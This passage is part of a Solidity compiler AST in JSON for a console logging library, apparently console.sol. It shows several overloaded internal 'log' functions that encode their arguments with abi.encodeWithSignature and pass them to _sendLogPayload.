:"6c6f6728737472696e672c626f6f6c2c616464726573732c626f6f6c29","id":20392,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39532:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_958c28c6e7bd79de7ce7f6f112cbcb194d9e383764dfb947492ee1374ff5c482","typeString":"literal_string \"log(string,bool,address,bool)\""},"value":"log(string,bool,address,bool)"},{"id":20393,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20380,"src":"39565:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20394,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20382,"src":"39569:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20395,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20384,"src":"39573:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20396,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20386,"src":"39577:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_958c28c6e7bd79de7ce7f6f112cbcb194d9e383764dfb947492ee1374ff5c482","typeString":"literal_string \"log(string,bool,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20390,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39508:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20391,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39512:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39508:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20397,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39508:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20389,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"39492:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20398,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39492:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20399,"nodeType":"ExpressionStatement","src":"39492:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39416:3:14","parameters":{"id":20387,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20380,"mutability":"mutable","name":"p0","nameLocation":"39434:2:14","nodeType":"VariableDeclaration","scope":20401,"src":"39420:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20379,"name":"string","nodeType":"ElementaryTypeName","src":"39420:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20382,"mutability":"mutable","name":"p1","nameLocation":"39443:2:14","nodeType":"VariableDeclaration","scope":20401,"src":"39438:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20381,"name":"bool","nodeType":"ElementaryTypeName","src":"39438:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20384,"mutability":"mutable","name":"p2","nameLocation":"39455:2:14","nodeType":"VariableDeclaration","scope":20401,"src":"39447:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20383,"name":"address","nodeType":"ElementaryTypeName","src":"39447:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20386,"mutability":"mutable","name":"p3","nameLocation":"39464:2:14","nodeType":"VariableDeclaration","scope":20401,"src":"39459:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20385,"name":"bool","nodeType":"ElementaryTypeName","src":"39459:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"39419:48:14"},"returnParameters":{"id":20388,"nodeType":"ParameterList","parameters":[],"src":"39482:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20424,"nodeType":"FunctionDefinition","src":"39594:187:14","nodes":[],"body":{"id":20423,"nodeType":"Block","src":"39672:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c626f6f6c2c616464726573732c6164647265737329","id":20415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39722:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_33e9dd1deb33816160eb59d86987de501b214bedbbe3c70103eff4092834b53d","typeString":"literal_string \"log(string,bool,address,address)\""},"value":"log(string,bool,address,address)"},{"id":20416,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20403,"src":"39758:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20417,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20405,"src":"39762:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":20418,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20407,"src":"39766:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20419,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20409,"src":"39770:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_33e9dd1deb33816160eb59d86987de501b214bedbbe3c70103eff4092834b53d","typeString":"literal_string \"log(string,bool,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20413,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39698:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20414,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39702:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39698:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39698:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20412,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"39682:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39682:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20422,"nodeType":"ExpressionStatement","src":"39682:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39603:3:14","parameters":{"id":20410,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20403,"mutability":"mutable","name":"p0","nameLocation":"39621:2:14","nodeType":"VariableDeclaration","scope":20424,"src":"39607:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20402,"name":"string","nodeType":"ElementaryTypeName","src":"39607:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20405,"mutability":"mutable","name":"p1","nameLocation":"39630:2:14","nodeType":"VariableDeclaration","scope":20424,"src":"39625:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20404,"name":"bool","nodeType":"ElementaryTypeName","src":"39625:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":20407,"mutability":"mutable","name":"p2","nameLocation":"39642:2:14","nodeType":"VariableDeclaration","scope":20424,"src":"39634:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20406,"name":"address","nodeType":"ElementaryTypeName","src":"39634:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20409,"mutability":"mutable","name":"p3","nameLocation":"39654:2:14","nodeType":"VariableDeclaration","scope":20424,"src":"39646:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20408,"name":"address","nodeType":"ElementaryTypeName","src":"39646:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"39606:51:14"},"returnParameters":{"id":20411,"nodeType":"ParameterList","parameters":[],"src":"39672:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20447,"nodeType":"FunctionDefinition","src":"39787:181:14","nodes":[],"body":{"id":20446,"nodeType":"Block","src":"39862:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e742c75696e7429","id":20438,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"39912:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_daa394bd4914eaece965f4173c7699746dff411e470b03385f052bd7b13f1bd3","typeString":"literal_string \"log(string,address,uint,uint)\""},"value":"log(string,address,uint,uint)"},{"id":20439,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20426,"src":"39945:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20440,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20428,"src":"39949:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20441,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20430,"src":"39953:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20442,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20432,"src":"39957:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_daa394bd4914eaece965f4173c7699746dff411e470b03385f052bd7b13f1bd3","typeString":"literal_string \"log(string,address,uint,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":20436,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"39888:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20437,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"39892:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"39888:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20443,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39888:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20435,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"39872:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"39872:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20445,"nodeType":"ExpressionStatement","src":"39872:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39796:3:14","parameters":{"id":20433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20426,"mutability":"mutable","name":"p0","nameLocation":"39814:2:14","nodeType":"VariableDeclaration","scope":20447,"src":"39800:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20425,"name":"string","nodeType":"ElementaryTypeName","src":"39800:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20428,"mutability":"mutable","name":"p1","nameLocation":"39826:2:14","nodeType":"VariableDeclaration","scope":20447,"src":"39818:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20427,"name":"address","nodeType":"ElementaryTypeName","src":"39818:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20430,"mutability":"mutable","name":"p2","nameLocation":"39835:2:14","nodeType":"VariableDeclaration","scope":20447,"src":"39830:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20429,"name":"uint","nodeType":"ElementaryTypeName","src":"39830:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20432,"mutability":"mutable","name":"p3","nameLocation":"39844:2:14","nodeType":"VariableDeclaration","scope":20447,"src":"39839:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20431,"name":"uint","nodeType":"ElementaryTypeName","src":"39839:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39799:48:14"},"returnParameters":{"id":20434,"nodeType":"ParameterList","parameters":[],"src":"39862:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20470,"nodeType":"FunctionDefinition","src":"39974:192:14","nodes":[],"body":{"id":20469,"nodeType":"Block","src":"40058:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e742c737472696e6729","id":20461,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40108:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4c55f234d048f08e770926729ee5d8a9c70d6b9a607ce037165c7e0f36155a98","typeString":"literal_string \"log(string,address,uint,string)\""},"value":"log(string,address,uint,string)"},{"id":20462,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20449,"src":"40143:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20463,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20451,"src":"40147:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20464,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20453,"src":"40151:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20465,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20455,"src":"40155:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4c55f234d048f08e770926729ee5d8a9c70d6b9a607ce037165c7e0f36155a98","typeString":"literal_string \"log(string,address,uint,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":20459,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40084:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20460,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40088:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40084:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20466,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40084:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20458,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"40068:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40068:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20468,"nodeType":"ExpressionStatement","src":"40068:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"39983:3:14","parameters":{"id":20456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20449,"mutability":"mutable","name":"p0","nameLocation":"40001:2:14","nodeType":"VariableDeclaration","scope":20470,"src":"39987:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20448,"name":"string","nodeType":"ElementaryTypeName","src":"39987:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20451,"mutability":"mutable","name":"p1","nameLocation":"40013:2:14","nodeType":"VariableDeclaration","scope":20470,"src":"40005:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20450,"name":"address","nodeType":"ElementaryTypeName","src":"40005:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20453,"mutability":"mutable","name":"p2","nameLocation":"40022:2:14","nodeType":"VariableDeclaration","scope":20470,"src":"40017:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20452,"name":"uint","nodeType":"ElementaryTypeName","src":"40017:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20455,"mutability":"mutable","name":"p3","nameLocation":"40040:2:14","nodeType":"VariableDeclaration","scope":20470,"src":"40026:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20454,"name":"string","nodeType":"ElementaryTypeName","src":"40026:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"39986:57:14"},"returnParameters":{"id":20457,"nodeType":"ParameterList","parameters":[],"src":"40058:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20493,"nodeType":"FunctionDefinition","src":"40172:181:14","nodes":[],"body":{"id":20492,"nodeType":"Block","src":"40247:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e742c626f6f6c29","id":20484,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40297:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ac1c13c91f65a91284d9d77ba7484e75b0a3dd9b57a01fd497babb7d6ebc554","typeString":"literal_string \"log(string,address,uint,bool)\""},"value":"log(string,address,uint,bool)"},{"id":20485,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20472,"src":"40330:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20486,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20474,"src":"40334:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20487,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20476,"src":"40338:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20488,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20478,"src":"40342:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ac1c13c91f65a91284d9d77ba7484e75b0a3dd9b57a01fd497babb7d6ebc554","typeString":"literal_string \"log(string,address,uint,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":20482,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40273:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20483,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40277:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40273:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20489,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40273:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":20481,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"40257:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":20490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40257:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":20491,"nodeType":"ExpressionStatement","src":"40257:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"40181:3:14","parameters":{"id":20479,"nodeType":"ParameterList","parameters":[{"constant":false,"id":20472,"mutability":"mutable","name":"p0","nameLocation":"40199:2:14","nodeType":"VariableDeclaration","scope":20493,"src":"40185:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":20471,"name":"string","nodeType":"ElementaryTypeName","src":"40185:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":20474,"mutability":"mutable","name":"p1","nameLocation":"40211:2:14","nodeType":"VariableDeclaration","scope":20493,"src":"40203:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":20473,"name":"address","nodeType":"ElementaryTypeName","src":"40203:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":20476,"mutability":"mutable","name":"p2","nameLocation":"40220:2:14","nodeType":"VariableDeclaration","scope":20493,"src":"40215:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":20475,"name":"uint","nodeType":"ElementaryTypeName","src":"40215:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":20478,"mutability":"mutable","name":"p3","nameLocation":"40229:2:14","nodeType":"VariableDeclaration","scope":20493,"src":"40224:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":20477,"name":"bool","nodeType":"ElementaryTypeName","src":"40224:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"40184:48:14"},"returnParameters":{"id":20480,"nodeType":"ParameterList","parameters":[],"src":"40247:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":20516,"nodeType":"FunctionDefinition","src":"40359:187:14","nodes":[],"body":{"id":20515,"nodeType":"Block","src":"40437:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e742c6164647265737329","id":20507,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"40487:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a366ec808c8af1aa091e8102642939a99436cf04d3dfac2ae23c299404f821b2","typeString":"literal_string \"log(string,address,uint,address)\""},"value":"log(string,address,uint,address)"},{"id":20508,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20495,"src":"40523:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":20509,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20497,"src":"40527:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":20510,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20499,"src":"40531:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":20511,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":20501,"src":"40535:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a366ec808c8af1aa091e8102642939a99436cf04d3dfac2ae23c299404f821b2","typeString":"literal_string \"log(string,address,uint,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":20505,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"40463:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":20506,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"40467:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"40463:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":20512,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"40463:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 